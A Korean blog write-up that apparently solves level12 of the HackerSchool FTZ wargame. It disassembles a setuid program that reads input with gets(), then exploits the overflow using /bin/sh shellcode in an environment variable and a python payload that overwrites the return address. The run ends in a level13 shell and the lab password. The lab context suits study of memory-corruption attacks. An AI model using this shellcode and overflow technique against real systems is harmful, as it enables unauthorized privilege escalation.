[ftz] hackerschool level12 풀이
- 보안/HackerSchool-ftz
- 2019. 11. 16. 21:45
l hackerschool level12 풀이
실행 환경 : VMware Workstation Pro, Red Hat Linux 9.0
참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
login as: level12 level12@192.168.31.128's password: |
level12 문제의 아이디인 level12 와 password인 it is like this 을 입력하여 level12의 유저로 접속합니다.
[level12@ftz level12]$ ls -l total 28 -rwsr-x--- 1 level13 level12 13771 Mar 8 2003 attackme -rw-r----- 1 root level12 204 Mar 8 2003 hint drwxr-xr-x 2 root level12 4096 Feb 24 2002 public_html drwxrwxr-x 2 root level12 4096 Nov 2 09:25 tmp |
ls -l 명령어를 사용하여 현재 위치( /home/level12 ) 아래에 있는 디렉터리의 목록을 확인합니다.
목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요. \n" ); gets( str ); printf( "%s\n", str ); } |
cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.
앞 문제와 다르게 gets 방식을 이용해 문장을 입력받는 것을 볼 수 있습니다. gets로 입력받을 수 있는 바이트 수가 제한이 없기 때문에 버퍼 오버플로우 문제라는 것을 알 수 있습니다.
[level12@ftz level12]$ cp attackme ./tmp/level12 [level12@ftz level12]$ cd tmp [level12@ftz tmp]$ ls -l total 16 -rwxr-x--- 1 level12 level12 13771 Nov 14 02:58 level12 |
gdb를 사용하기 위해서 attackme 파일을 ./tmp 폴더 안에 복사하도록 하겠습니다.
[level12@ftz tmp]$ gdb level12 GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) disas main Dump of assembler code for function main: 0x08048470 <main+0>: push %ebp 0x08048471 <main+1>: mov %esp,%ebp 0x08048473 <main+3>: sub $0x108,%esp 0x08048479 <main+9>: sub $0x8,%esp 0x0804847c <main+12>: push $0xc15 0x08048481 <main+17>: push $0xc15 0x08048486 <main+22>: call 0x804835c <setreuid> 0x0804848b <main+27>: add $0x10,%esp 0x0804848e <main+30>: sub $0xc,%esp 0x08048491 <main+33>: push $0x8048538 <printf> 0x08048496 <main+38>: call 0x804834c 0x0804849b <main+43>: add $0x10,%esp 0x0804849e <main+46>: sub $0xc,%esp 0x080484a1 <main+49>: lea 0xfffffef8(%ebp),%eax 0x080484a7 <main+55>: push %eax 0x080484a8 <main+56>: call 0x804831c <gets> 0x080484ad <main+61>: add $0x10,%esp 0x080484b0 <main+64>: sub $0x8,%esp 0x080484b3 <main+67>: lea 0xfffffef8(%ebp),%eax 0x080484b9 <main+73>: push %eax 0x080484ba <main+74>: push $0x804854c 0x080484bf <main+79>: call 0x804834c <printf> 0x080484c4 <main+84>: add $0x10,%esp 0x080484c7 <main+87>: leave 0x080484c8 <main+88>: ret 0x080484c9 <main+89>: lea 0x0(%esi),%esi 0x080484cc <main+92>: nop 0x080484cd <main+93>: nop 0x080484ce <main+94>: nop 0x080484cf <main+95>: nop End of assembler dump. |
위의 코드가 attackme 파일 main의 어셈블러 코드입니다. 우리는 이 부분 중 빨간색으로 되어있는 부분을 집중적으로 보겠습니다.
1. 0x08048473 <main+3>: sub $0x108,%esp 0x08048479 <main+9>: sub $0x8,%esp
첫 번째 부분입니다. 앞의 문제와 똑같이 0x108을 10진수로 바꾸면 264이고, esp를 기준으로 264byte만큼 공간을 할당하는 것을 볼 수 있습니다. 0x8을 10진수로 바꾸면 8이고, esp를 기준으로 8byte 만큼 공간을 할당한 것을 볼 수 있습니다. hint 코드에서 보았던 str은 256byte이므로 위의 8byte는 dummy라는 것을 알 수 있습니다.
2. 0x080484a8 <main+56>: call 0x804831c <gets>
두 번째 부분입니다. hint 코드에서 확인해보면 gets에 str 한 개의 인자가 들어가는 것을 볼 수 있습니다. 이 부분은 어셈블리 코드에서 main+55를 의미합니다. push 되는 내용은 그 위인 main+49이고 str의 시작 위치를 찾기 위해 0xfffffef8을 2의 보수 취하면 아래와 같습니다. 앞의 fffff는 1의 보수를 취할 시 다 0이 되므로 ef8만 2의 보수를 취해보도록 하겠습니다.
111011111000 => 000100000111 => 000100001000 => 8 + 256 = 264
위의 결과로 str의 시작 위치는 esp - 264임을 알 수 있습니다.
그럼 이제 메모리 구조를 그림으로 나타내 보도록 하겠습니다.
level11번 문제와 같이 주소가 랜덤으로 계속 바뀔 수도 있음으로 이번 문제는 환경 변수를 이용해서 풀어보도록 하겠습니다. 환경 변수 사용 시 str의 시작 주소를 알 필요는 없기 때문에 gdb를 빠져나오도록 하겠습니다.
[level12@ftz tmp]$ export SHELL=`python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` [level12@ftz tmp]$ echo 'int main(){printf("ADDR: 0x%x\n",getenv("SHELL"));}'>getenv.c [level12@ftz tmp]$ gcc -o getenv getenv.c [level12@ftz tmp]$ ./getenv ADDR: 0xbffffbaa |
SHELL이라는 이름의 환경 변수를 만들어주었고, 위의 순서대로 실행하여 ./getenv 실행 시 하나의 주소를 얻을 수 있습니다. 바로 저 주소가 아래 페이로드의 return에 들어가는 주소이고, 그 주소로 return 하게 되면 환경변수에 넣어주었던 셸 코드를 실행할 것입니다.
그럼 마지막으로 페이로드를 작성해보도록 하겠습니다. gets 방식으로 입력을 받기 때문에 level11에서 작성했던 것과 조금 다르게 작성됩니다.
(python -c 'print "\x90"*268+"\xaa\xfb\xff\xbf"';cat) | ./attackme
[level12@ftz level12]$ (python -c 'print "\x90"*268+"\xaa\xfb\xff\xbf"';cat) | ./attackme 문장을 입력하세요. ? ? id uid=3093(level13) gid=3092(level12) groups=3092(level12) my-pass TERM environment variable not set. Level13 Password is "have no clue". |
위의 페이로드를 입력하고, id 명령을 입력하면 uid가 level13인 것을 확인할 수 있습니다. level13의 셸을 취득한 것이고, my-pass 입력 시 level13의 Password를 알 수 있습니다.
l level13 비밀번호
Level13 Password is "have no clue".
'보안 > HackerSchool-ftz' 카테고리의 다른 글
[ftz] hackerschool level14 풀이 (0) | 2019.11.28 |
---|---|
[ftz] hackerschool level13 풀이 (0) | 2019.11.21 |
[ftz] hackerschool level11 풀이 (0) | 2019.11.14 |
[ftz] hackerschool level10 풀이 (0) | 2019.11.13 |
[ftz] hackerschool level9 풀이 (0) | 2019.11.11 |
이 글을 공유하기